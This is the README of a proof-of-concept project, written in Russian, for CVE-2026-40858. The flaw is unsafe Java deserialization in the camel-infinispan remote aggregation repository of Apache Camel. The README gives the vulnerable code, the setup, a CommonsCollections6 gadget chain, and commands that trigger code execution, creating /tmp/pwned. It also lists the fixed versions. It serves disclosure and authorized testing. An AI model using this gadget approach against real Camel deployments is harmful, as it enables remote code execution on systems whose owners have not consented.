
# Воспроизведение CVE-2026-40858 — небезопасная десериализация в удалённом агрегирующем репозитории Apache Camel camel-infinispan (RCE)
Этот проект демонстрирует уязвимость десериализации Java в компоненте Apache Camel camel-infinispan, отслеживаемую как CVE-2026-40858. Удаленный агрегационный репозиторий на основе ProtoStream сериализует каждый агрегированный Exchange в удаленный кэш Infinispan, а при чтении записи обратно (при get() / recover()) десериализует его с помощью java.io.ObjectInputStream без ObjectInputFilter. Атакующий, имеющий возможность записи в поддерживающий кэш, может разместить поддельный сериализованный объект и получить удаленное выполнение кода при следующем чтении этого ключа репозиторием.
Рекомендация: https://camel.apache.org/security/CVE-2026-40858.html
| Свойство | Значение |
|---|---|
| Компонент | camel-infinispan (удаленный / HotRod агрегационный репозиторий) |
| Затронутый класс | org.apache.camel.component.infinispan.remote.DefaultExchangeHolderProtoAdapter → DefaultExchangeHolderUtils.deserialize(byte[]) |
| CWE | CWE-502: Десериализация недоверенных данных |
| Влияние | Удаленное выполнение кода (RCE) |
| Затронутые версии | From 4.0.0 before 4.14.7, from 4.15.0 before 4.18.2, from 4.19.0 before 4.20.0 |
| Исправленные версии | 4.14.7, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23322 |
| Автор отчета | Feng Ning (Innora Pte. Ltd.) |
InfinispanRemoteAggregationRepository хранит каждый Exchange как DefaultExchangeHolder. С маршаллером ProtoStream этот holder адаптируется с помощью DefaultExchangeHolderProtoAdapter, поле #1 ProtoStream которого представляет собой holder, сериализованный простым ObjectOutputStream. На обратном пути адаптер восстанавливает holder, передавая эти байты в DefaultExchangeHolderUtils.deserialize:
// DefaultExchangeHolderUtils.deserialize(byte[]) - affected version
static DefaultExchangeHolder deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ClassLoadingAwareObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais);
return (DefaultExchangeHolder) ois.readObject(); // NO ObjectInputFilter
}
ClassLoadingAwareObjectInputStream расширяет, а не ограничивает набор разрешимых классов, поэтому readObject() инстанцирует любую gadget-цепочку, присутствующую в classpath. Поскольку байты поступают напрямую из удаленного кэша, любой, кто может записать этот ключ кэша, контролирует поток десериализации — и gadget срабатывает во время readObject(), до того, как значение будет приведено к DefaultExchangeHolder.
Маршрут (или, как здесь, код приложения) использует удаленный агрегационный репозиторий, поддерживаемый сервером Infinispan:
InfinispanRemoteConfiguration conf = new InfinispanRemoteConfiguration();
conf.setCacheContainerConfiguration(hotRodClientConfig); // points at the Infinispan server
InfinispanRemoteAggregationRepository repo =
new InfinispanRemoteAggregationRepository("camel-aggregation");
repo.setConfiguration(conf);
repo.setCamelContext(camelContext);
repo.start();
// ... during aggregation Camel calls repo.add(...) / repo.get(...) / repo.recover(...)
Любой вызов get() / recover() для ключа, сохраненное значение которого было подделано, запускает sink.
Уязвимый код Camel выполняется в приложении (на хосте); сервер Infinispan работает в Docker как подчиненное хранилище, с которым взаимодействует репозиторий. Это отражает то, как репозиторий развертывается на практике: недоверенные данные находятся в общем кэше.
CVE-2026-40858/
├── pom.xml # camel-infinispan 4.18.1 + commons-collections 3.2.1 (gadget)
├── docker-compose.yml # quay.io/infinispan/server:16.1 (удаленный кэш)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── InfinispanRepoService.java # собирает и запускает InfinispanRemoteAggregationRepository
│ ├── Gadget.java # Gadget CommonsCollections6, срабатывает во время readObject()
│ └── ExploitController.java # /exploit/attack: размещает holder с телом gadget, затем читает его
└── resources/
└── application.properties
Примечание о сокращении в PoC. Реальный атакующий записывает вредоносные байты непосредственно в общий кэш Infinispan. Чтобы сохранить репродуктор самодостаточным,
/exploit/attackпомещает значение через тот же репозиторий (repo.add(...)с gadget в качестве тела Exchange), а затем вызываетrepo.get(...)для запуска чтения. Sink, который выполняет gadget, — это собственныйreadObject()Camel, точно так же, как он сработал бы на любой записи кэша, подделанной атакующим.
docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" --retry-connrefused --retry 60 --retry-delay 1 \
http://localhost:11222/rest/v2/cache-managers/default/health/status # -> 200
Gadget CommonsCollections6 собирается на лету через рефлексию в java.util, поэтому JVM должна быть запущена с --add-opens java.base/java.util=ALL-UNNAMED:
mvn clean package -DskipTests
java --add-opens java.base/java.util=ALL-UNNAMED \
-jar target/cve-2026-40858-infinispan-0.0.1-SNAPSHOT.jar
curl -s http://localhost:8080/exploit/attack
# -> repo.get() вернул: Exchange[...]
#
# >>> Доказательство RCE — /tmp/pwned существует: true
/tmp/pwned создается gadget (touch /tmp/pwned) во время десериализации репозиторием подставленного значения кэша.
docker compose down
rm -f /tmp/pwned
Любое развертывание, использующее InfinispanRemoteAggregationRepository (маршалинг ProtoStream) против кэша, в который атакующий может писать. Доступ на запись к кэшу может быть получен из общего/многоарендного кластера Infinispan, доступной по сети конечной точки HotRod или любого другого производителя, который помещает данные в тот же кэш.
commons-collections:3.2.1).Обновитесь до 4.14.7 / 4.18.2 / 4.20.0. Исправление применяет ObjectInputFilter / белый список классов к десериализации holder, соответствуя усилению защиты, примененному к другим репозиториям агрегации Camel (camel-leveldb, camel-cassandraql, camel-jms) и к camel-mina / camel-netty.
Этот репродуктор предоставляется только для исследований безопасности и авторизованного тестирования для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.